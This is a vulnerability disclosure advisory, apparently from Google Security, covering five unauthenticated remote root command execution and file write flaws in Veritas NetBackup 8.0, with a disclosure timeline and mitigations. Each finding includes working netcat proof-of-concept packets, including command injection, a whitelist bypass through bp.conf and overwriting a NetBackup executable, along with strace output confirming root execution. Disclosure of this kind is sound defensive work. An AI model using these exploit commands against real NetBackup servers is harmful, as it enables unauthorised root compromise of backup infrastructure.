Veritas Netbackup 8.0 - Multiple Vulnerabilities

-------------------------------------------------



Introduction

============

Multiple vulnerabilities were identified in Veritas Netbackup (
https://www.veritas.com/product/backup-and-recovery/netbackup-8). The
vulnerabilities were discovered during a black box security assessment and
therefore the vulnerability list should not be considered exhaustive.



NetBackup 8.0 was assessed by Google Security as a followup to a previous
assessment of NetBackup 6.x and 7.x (see
https://seclists.org/fulldisclosure/2017/Feb/101). After assessing the
security of three generations of this software it unfortunately became
clear that the current architecture of NetBackup has several security flaws:



   -

   The proprietary protocol used between NB Clients and Servers provides no
   authentication or encryption.
   -

   Parameters passed to executable commands are (partially) processed
   unfiltered.
   -

   Even though a whitelisting for executable paths was added in recent
   versions of NetBackup, those paths contain over 600 (!) executables - a
   vulnerability in any of those could be leveraged to compromise a NetBackup
   system.
   -

   All processes related to NetBackup run as root, which increases the risk
   of compromise (this was already reported in a previous advisory)



We highly recommended to put additional layers of security around running
NetBackup installations, for example strong firewall policies that only
allow legitimate NetBackup systems to interact with each other over the
network.



Please see the Advisory Veritas released for more information:

https://www.veritas.com/content/support/en_US/security/VTS17-004.html



Veritas also provides patches for NetBackup 8.0 that should be applied
ASAP. Those can be found at the following URL:

https://www.veritas.com/support/en_US/article.000126389



Affected Software and Versions

==============================

  - Veritas Netbackup 8.0



CVE

===

CVEs have been assigned but are not published yet. Please see this Veritas
advisory for the CVE IDs:
https://www.veritas.com/content/support/en_US/security/VTS17-004.html



Vulnerability Overview

======================



1. NB8-01: HIGH: Unauthenticated privileged remote command execution via
bprd

2. NB8-02: HIGH: Unauthenticated privileged remote command execution via
nbbsdtar

3. NB8-03: HIGH: Unauthenticated privileged remote file write

4. NB8-04: HIGH: Unauthenticated privileged remote command execution via
whitelist bypass

5. NB8-05: HIGH: Bypass of DNS based security model through pbx_exchange





Vulnerability Details

=====================



--------------------------------------------------------------------

NB8-01: Unauthenticated privileged remote command execution via bprd

--------------------------------------------------------------------

Severity: High



The bprd process allows remote privileged remote code execution by sending
a special packet leveraging the C_PFI_ROTATION (0x70) command. This command
is vulnerable to injecting arbitrary commands. This vulnerability bypasses
the directory whitelist implemented in NetBackup 7.x and allows privileged
execution of any command.



The following command executes a/usr/bin/id>/tmp/meh.txta on the Netbackup
server 10.128.0.5:



# echo -ne "ack=1\nextension=bprd\n\n329199 112 1 2 foo\`id>/tmp/meh.txt\`
bar baz 3 meh\n" | nc 10.128.0.5 1556



Log file excerpt:



15:27:36.467 [31611.31611] <2> get_string: 329199 112 1 2
foo`id>/tmp/meh.txt` bar baz 3 meh
15:27:36.467 [31611.31611] <2> vnet_check_vxss_server_magic:
[vnet_vxss_helper.c:641] VxSS magic=329199, remote_vxss=11
2
15:27:36.467 [31611.31611] <2> vnet_check_vxss_server_magic:
[vnet_vxss_helper.c:698] Ignoring VxSS authentication 2 0x
2
15:27:36.467 [31611.31611] <2> process_request: command C_PFI_ROTATION
(112) received
15:27:36.467 [31611.31611] <2> process_request: pfi_rotation request =
329199 112 1 2 foo`id>/tmp/meh.txt` bar baz 3 me
h

Strace excerpt:



[pid 31641] execve("/bin/sh", ["sh", "-c",
"\"/usr/openv/netbackup/bin/admincmd/bppficorr\"  -rotation -policy 2
-client 1 -fim \"foo`id>/tmp/meh.txt`\"  2>&1"], [/* 18 vars */]) = 0
Process 31642 attached
Process 31643 attached
[pid 31643] execve("/bin/id", ["id"], [/* 18 vars */]) = 0

# cat /tmp/meh.txt
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

The validity of API parameters should be ensured by proper filtering of
passed parameters.



------------------------------------------------------------------------

NB8-02: Unauthenticated privileged remote command execution via nbbsdtar

------------------------------------------------------------------------

Severity: High



The binary nbbsdtar can be leveraged to copy any file to a whitelisted
directory. This then allows leveraging the C_REMOTE_EXECUTE (0x46) to
execute the copied file. This vulnerability bypasses the directory
whitelist implemented in NetBackup 7.x and allows privileged execution of
any command.



Packing /bin/bash into the tar file /tmp/foo.tar:



# echo -ne "ack=1\nextension=bprd\n\n329199 94 localhost root 1337
/usr/openv/netbackup/bin/private/nbbsdtar foo -c -f /tmp/foo.tar
/bin/bash\n" | nc 10.128.0.5 1556



Strace output:



[pid 32461] execve("/usr/openv/netbackup/bin/private/nbbsdtar", ["foo",
"-c", "-f", "/tmp/foo.tar", "/bin/bash"], [/* 19 vars */]) = 0

Unpacking /tmp/foo.tar to the whitelisted directory
/usr/openv/netbackup/bin (a/bina can be omitted as /bin/bash was added to
the tar with full path):



# echo -ne "ack=1\nextension=bprd\n\n329199 94 localhost root 1337
/usr/openv/netbackup/bin/private/nbbsdtar foo -x -f /tmp/foo.tar -C
/usr/openv/netbackup/\n" | nc 10.128.0.5 1556

Strace output:



[pid 32486] execve("/usr/openv/netbackup/bin/private/nbbsdtar", ["foo",
"-x", "-f", "/tmp/foo.tar", "-C", "/usr/openv/netbackup/"], [/* 19 vars
*/]) = 0

# ls -l /usr/openv/netbackup/bin/bash
-rwxr-xr-x. 1 root root 960472 Dec  6 23:19 /usr/openv/netbackup/bin/bash

Execution of any command by running the now whitelisted bash interpreter:



# echo -ne "ack=1\nextension=bprd\n\n329199 94 localhost root 1337
/usr/openv/netbackup/bin/bash foo -c id>/tmp/moo.txt\n" | nc 10.128.0.5 1556

Strace excerpt:



[pid 32549] execve("/usr/openv/netbackup/bin/bash", ["foo", "-c",
"id>/tmp/moo.txt"], [/* 19 vars */]) = 0
Process 32550 attached
[pid 32550] execve("/bin/id", ["id"], [/* 19 vars */]) = 0

# cat /tmp/moo.txt
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Even with the added whitelist, the C_REMOTE_EXECUTE API still provides
access to over 600 (!) executable binaries. It is very likely that a number
of these binaries can be leveraged to bypass the current security
mechanisms and provide high risk attack vectors as shown in the example
above.



----------------------------------------------------

NB8-03: Unauthenticated privileged remote file write

----------------------------------------------------

Severity: High



The bprd process allows remote privileged write to files by sending a
special packet leveraging the C_REMOTE_WRITE (0x71) call. The attacker has
full control over file-name and content. The path is limited by a whitelist
check that was implemented in NetBackup 7.x. As the C_REMOTE_WRITE function
gives an attacker full control over content and filename and also allows
aappendinga to existing files, this issue is rated as HIGH.



Example:

# echo -ne "ack=1\nextension=bprd\n\n329199 71 localhost root 29
/usr/openv/netbackup/svbl.txt a 10 helloworld \n" | nc 10.128.0.5 1556



Strace excerpt:

[pid  1027] open("/usr/openv/netbackup/svbl.txt",
O_WRONLY|O_CREAT|O_APPEND|O_DSYNC, 0666) = 7
[...]

[pid  1027] write(7, "helloworld", 10)  = 10

# cat /usr/openv/netbackup/svbl.txt
helloworld



# ls -l /usr/openv/netbackup/svbl.txt
-rw-r--r--. 1 root root 20 Feb  3 15:55 /usr/openv/netbackup/svbl.txt

Even though the allowed paths are checked against a whitelist, the API is
flexible enough to provide an attacker a useful entry point for further
attacks. An API that allows full control over filename and content should
not be exposed to the network without authentication.



--------------------------------------------------------------------------------

NB8-04: Unauthenticated privileged remote command execution via whitelist
bypass

--------------------------------------------------------------------------------

Severity: High



In NetBackup 7.x, a whitelist was added to provide a layer of security
against arbitrary command execution via APIs provided by NetBackup.
Functionality like the C_REMOTE_WRITE API are also checked against this
whitelist. The caveat here is that this whitelisting caused problems in
production use. To counter that, Veritas added a configuration option to
add custom paths to the whitelist, as documented here:
https://www.veritas.com/support/en_US/article.000100775



Leveraging the vulnerability described in NB8-03, it is possible to add any
path to the whitelist, enabling an attacker to (over)write any file in the
whitelisted paths. The following attack chain shows an example that grants
remote command execution.



Add a new whitelist entry to bp.conf:



# echo -ne "ack=1\nextension=bprd\n\n329199 71 localhost root 28
/usr/openv/netbackup/bp.conf a 48 BPCD_WHITELIST_PATH =
/usr/openv/netbackup/bin \x0d\n" | nc 10.128.0.5 1556



Strace excerpt:



[pid  1550] open("/usr/openv/netbackup/bp.conf",
O_WRONLY|O_CREAT|O_APPEND|O_DSYNC, 0666) = 7
[...]

[pid  1550] write(7, "BPCD_WHITELIST_PATH = /usr/openv/netbackup/bin \r",
48) = 48

Write to the now whitelisted /usr/openv/netbackup/bin path and overwrite a
executable file:



# echo -ne "ack=1\nextension=bprd\n\n329199 71 localhost root 33
/usr/openv/netbackup/bin/initbprd w 27 /usr/bin/id > /tmp/svbl.txt\n" | nc
10.128.0.5 1556



Strace excerpt:

[pid  1622] open("/usr/openv/netbackup/bin/initbprd",
O_WRONLY|O_CREAT|O_TRUNC|O_DSYNC, 0666) = 7
[...]

[pid  1622] write(7, "/usr/bin/id > /tmp/svbl.txt", 27) = 27

Execute the overwritten file:



# echo -ne "ack=1\nextension=bprd\n\n329199 94 localhost root 1337
/usr/openv/netbackup/bin/initbprd foo\n" | nc 10.128.0.5 1556



Strace excerpt:



[pid  1687] execve("/bin/sh", ["/bin/sh",
"/usr/openv/netbackup/bin/initbprd"], [/* 19 vars */]) = 0
Process 1688 attached
[pid  1688] open("/tmp/svbl.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
[pid  1688] execve("/usr/bin/id", ["/usr/bin/id"], [/* 19 vars */]) = 0

# cat /tmp/svbl.txt
uid=0(root) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

A possible mitigation for this issue might be to either completely remove
the C_REMOTE_WRITE API or at least limit it to a very small number of
directories that have no overlap with the C_REMOTE_EXECUTE whitelist and do
not contain any sensitive files like the bp.conf.



---------------------------------------------------------------

NB8-05: Bypass of DNS based security model through pbx_exchange

---------------------------------------------------------------

Severity: High



For several API functions and service calls (e.g. bprd), NetBackup checks
the source IP of the request and matches it against a list of allowed
Clients. In most cases a request is only allowed from

   -

   localhost
   -

   NetBackup Server known to the local system
   -

   NetBackup Client known to the local system



It was discovered that the service pbx_exchange, listening on tcp/1556 can
be used to bypass this security check.

Example:



# echo -ne "ack=1\nextension=bprd\n\nfooa | nc 10.128.0.5 1556



The above command sends the data afooa to the bprd service. The target
service is specified by the aextensiona parameter, everything after two new
lines is forwarded to the extension service.

The previously described vulnerabilities in this report make use of this
behaviour.



As this functionality allows bypassing the source host based security model
it is recommended to change the behaviour of pbx_exchange to forward the
original source IP to the target service and modify the security checks to
validate against that original source IP.



Author

======

The vulnerabilities were discovered by Sven Blumenstein and Xiaoran Wang
from Google Security Team.



Timeline

========

2017/02/06 - Security report sent to secure@veritas.com with 90 day
            disclosure deadline.

2017/03/21 - Questions from Veritas on some issues were answered.

2017/04/20 - Veritas announced an Advisory for customers will be published
on 2017/05/07 on veritas.com

2017/05/07 - Advisory published by Veritas:
https://www.veritas.com/content/support/en_US/security/VTS17-004.html

2017/05/08 - Public disclosure of this security report.